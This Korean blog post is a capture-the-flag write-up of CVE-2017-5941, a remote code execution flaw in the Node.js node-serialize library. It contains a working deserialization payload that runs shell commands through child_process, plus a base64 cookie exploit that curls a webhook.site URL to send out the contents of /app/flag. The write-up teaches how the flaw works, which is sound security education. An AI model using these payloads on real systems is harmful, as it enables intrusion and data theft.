본문 바로가기

Web Security/Technology

[CVE-2017-5941] node-serialize

[CVE-2017-5941][1] Node.js에 node-serialize 라이브러리에서 발견된 취약점으로 RCE(Remote Code Execution) 공격이 가능합니다. node-serialize: 0.0.4 버전에서 취약점이 발견되었으며, 현재까지도 패치되지 않은 것으로 알려져 있습니다. 

Serialization

일부 객체를 나중에 복원할 수 있는 데이터 형식으로 변환하는 과정입니다.[2] 이를 사람들은 객체를 저장소에 저장하거나 통신의 일부로 보내기 위해 객체를 직렬화하는 경우가 많습니다. 

Deserialization

해당 프로세스의 역순으로 일부 형식에서 구조화된 데이터를 가져와 객체로 재구성합니다. [2] 오늘날 데이터 직렬화에 가장 많이 사용되는 데이터 형식은 JSON이며, 예전에는 XML이 자주 사용되었습니다. 

Example Code

예제 문제[3]를 통해, node-serialize 라이브러리의 취약점을 알아보겠습니다. 

const express = require('express');
const cookieParser = require('cookie-parser');
const serialize = require('node-serialize');
const app = express();
app.use(cookieParser())

app.get('/', (req, res) => {
    if (req.cookies.profile) {
        let str = new Buffer.from(req.cookies.profile, 'base64').toString();

        // Special Filter For You :)

        let obj = serialize.unserialize(str);
        if (obj) {
            res.send("Set Cookie Success!");
        }
    } else {
        res.cookie('profile', "eyJ1c2VybmFtZSI6ICJndWVzdCIsImNvdW50cnkiOiAiS29yZWEifQ==", {
            maxAge: 900000,
            httpOnly: true
        });
        res.redirect('/');
    }

});

app.listen(5000);

위 코드를 보면, cookies.profile에 값이 없을 경우 base64로 인코딩 된 문자열을 profile에 저장하며 쿠키를 생성합니다. cookies.profile 값이 존재할 경우 인코딩된 문자열을 base64로 디코딩한 후 unserialize를 수행합니다. 

인코딩된 값이 무엇인지 확인해 보면, {"username":"guest", "country":"Korea"} 임을 알 수 있습니다. 

 

위 코드에서 사용하고 있는 unserialize 함수는 RCE(Remote Code Execution) 공격이 가능한 취약한 함수입니다. node-serialize/lib/serialize.js 내부 코드를 보면, 74~75번 줄에서 취약한 함수인 eval() 사용하고 있는 것을 볼 수 있습니다. 

위 함수를 실행시키기 위해서는 Key, Value 중 Value에 FUNCFLAG를 포함하고 있어야 합니다. FUNCFLAG는 serialize.js의 1번째 줄에서 확인할 수 있습니다. 

위에서 다루었던 내용을 토대로 취약점을 활용하여 id 명령 결과를 출력해 봅시다.

RCE Code

const serialize = require('node-serialize');

data = `{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error, stdout, stderr) {console.log(stdout); }); return 'nope';}()", "country":"Korea"}`

serialize.unserialize(data);
console.log(data);

FUNCFLAG 값으로 시작해서 함수 내부엔 child_process 라이브러리에 exec 함수를 호출하여 결과를 출력합니다. 이후, 함수 정의 후 바로 실행을 위해 IIFE(Immediately Invoked Function Expression)을 사용합니다. 

 

IIFE는 function(){}() 빨간색 부분을 추가하여 함수 정의 후 바로 실행할 수 있게 해 줍니다.  

실행 결과, id 명령이 잘 나오는 것을 확인할 수 있습니다. 하지만, 위 명령을 공격하고자 하는 서버에서 실행할 경우, 서버에 결과 값이 출력되어 공격자가 볼 수 없을 것입니다. 이를 위해, curl 명령을 사용하면 결과 값을 읽어올 수 있습니다. 

Exploit Code

{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl https://webhook.site/62a853d6-c18d-4e9b-89ca-38f7cbf37388?c=$(cat /app/flag)',function(error, stdout, stderr) {console.log(stdout); }); return 'nope';}()", "country":"Korea"}

다음으로, 데이터를 base64 인코딩해줍니다. 

eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdjdXJsIGh0dHBzOi8vd2ViaG9vay5zaXRlLzYyYTg1M2Q2LWMxOGQtNGU5Yi04OWNhLTM4ZjdjYmYzNzM4OD9jPSQoY2F0IC9hcHAvZmxhZyknLGZ1bmN0aW9uKGVycm9yLCBzdGRvdXQsIHN0ZGVycikge2NvbnNvbGUubG9nKHN0ZG91dCk7IH0pOyByZXR1cm4gJ25vcGUnO30oKSIsICJjb3VudHJ5IjoiS29yZWEifQ==

인코딩 된 데이터를 cookies.profile에 값으로 넣게 되면, base64 decode 과정을 거친 후 unserialize() 함수를 통해 cat /app/flag 명령이 실행되며 결과 값은 webhook [4]을 통해 얻을 수 있습니다. 

위와 같이, FLAG를 획득한 것을 통해 명령이 잘 실행된 것을 볼 수 있습니다. 

 

참고 자료

[1] https://www.cvedetails.com/cve/CVE-2017-5941/

[2] https://book.hacktricks.xyz/pentesting-web/deserialization

[3] https://dreamhack.io/wargame/challenges/685

[4] https://webhook.site/#!/30d81717-592c-4df0-8f02-985ec9bfe224

'Web Security > Technology' 카테고리의 다른 글

Prototype Pollution  (0) 2023.08.10
Cheat Sheet - SQL Injection  (2) 2023.06.19